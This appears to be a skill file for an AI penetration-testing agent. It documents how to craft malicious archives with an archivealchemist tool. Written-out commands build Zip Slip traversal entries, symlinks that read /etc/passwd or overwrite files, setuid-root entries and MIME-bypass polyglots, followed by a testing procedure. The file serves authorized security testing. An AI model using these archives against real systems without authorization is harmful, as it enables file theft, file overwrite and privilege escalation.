archive-path-traversal

name

archive-path-traversal

description

Craft malicious archives (ZIP/TAR) to test extraction vulnerabilities including Zip Slip, symlink attacks, hardlink collisions, setuid escalation, polyglot bypasses, and Unicode path confusion. Use when a target accepts archive uploads or extracts archives server-side. Triggers on "archive upload", "zip slip", "tar extraction", "symlink", "hardlink", "polyglot", "archive alchemist", "extraction vulnerability".

Archive Path Traversal & Extraction Vulnerabilities

Use this skill when the target accepts archive uploads (ZIP, TAR, tar.gz, tar.xz, tar.bz2) or otherwise extracts archives server-side. The web-security runtime includes archivealchemist at ~/git/archivealchemist/archive-alchemist.py for crafting malicious archives.

When to Use

Use archive extraction testing when you observe:

• Upload endpoints accepting .zip, .tar, .tar.gz, .tar.xz, .tar.bz2
• Server-side archive extraction (file import, bulk upload, theme/plugin import)
• Features that restore/back up data from archives
• Any flow where archive entries become files on disk

Tool Reference

Tool path: python3 ~/git/archivealchemist/archive-alchemist.py <archive> <command> [options]

Commands

Command	Purpose
add	Add files, symlinks, hardlinks, directories
replace	Replace entries or sync from a directory
append	Append content to an existing entry
modify	Change mode, uid, gid, mtime, convert to symlink/hardlink
remove / rm	Remove entries
list / ls	List archive contents
extract	Extract safely by default; --vulnerable for unsafe extraction
read / cat	Read a specific entry
polyglot	Prepend magic bytes to an archive

Common Attack Patterns

Zip Slip (path traversal)

python3 ~/git/archivealchemist/archive-alchemist.py zipslip.zip add "../../../tmp/evil.txt" --content "pwned"

Symlink file read

python3 ~/git/archivealchemist/archive-alchemist.py symlink.tar -t tar add .bashrc --symlink "/etc/passwd"

Symlink collision (write through symlink)

python3 ~/git/archivealchemist/archive-alchemist.py collision.tar -t tar add config.txt --symlink "/tmp/target.txt"
python3 ~/git/archivealchemist/archive-alchemist.py collision.tar -t tar add config.txt --content "overwrite"

Setuid escalation

python3 ~/git/archivealchemist/archive-alchemist.py setuid.tar -t tar add exploit --content "#!/bin/sh\nwhoami" --mode 0755 --setuid --uid 0

Polyglot MIME bypass

python3 ~/git/archivealchemist/archive-alchemist.py polyglot.gif add payload.txt --content "hello there"
python3 ~/git/archivealchemist/archive-alchemist.py polyglot.gif polyglot --content "GIF89a"

Unicode path confusion

python3 ~/git/archivealchemist/archive-alchemist.py weird.zip add file.txt --content "hello" --unicodepath notfile.txt

Iterative Working Directory Workflow

For complex archives, use a working directory and the replace --content-directory flow:

# 1. Extract the original archive safely
python3 ~/git/archivealchemist/archive-alchemist.py target.zip extract -o workdir/

# 2. Modify files in workdir/ or add malicious entries

# 3. Sync working directory back into a new archive
python3 ~/git/archivealchemist/archive-alchemist.py target_poc.zip replace --content-directory workdir/ ""

# 4. Test target_poc.zip against the target

# 5. Iterate

Testing Procedure

1. Identify the extraction surface: find upload/import/restore endpoints that accept archives.
2. Fingerprint the extractor: upload a benign archive and observe where files land, what filenames are preserved, whether symlinks survive, and whether permissions are honored.
3. Start with Zip Slip: most extractors fail to sanitize ../ sequences. Use a relative path traversal first.
4. Test symlink/hardlink support: if the extractor follows symlinks, escalate to reading/writing arbitrary files.
5. Test polyglots: if MIME type or magic-byte checks exist, prepend valid magic bytes to a ZIP archive.
6. Test Unicode path confusion: some extractors use the Unicode Path extra field instead of the local file header name.
7. Check permission preservation: if the extractor preserves permissions, setuid/setgid bits may lead to local privilege escalation.

Constraints

• Do not test arbitrary write paths on production systems without scope confirmation.
• Prefer writing to predictable, non-destructive locations (e.g., /tmp/ subdirectories) during initial validation.
• Some extractors strip symlinks, permissions, or traversal sequences; negative results for one pattern do not rule out others.
• Archive extraction is usually a gadget chained with other vulnerabilities (e.g., LFI, SSRF, file upload) to achieve real impact.

Prerequisites

• ~/git/archivealchemist/archive-alchemist.py must exist (installed by the runtime).
• Target must accept and extract archives.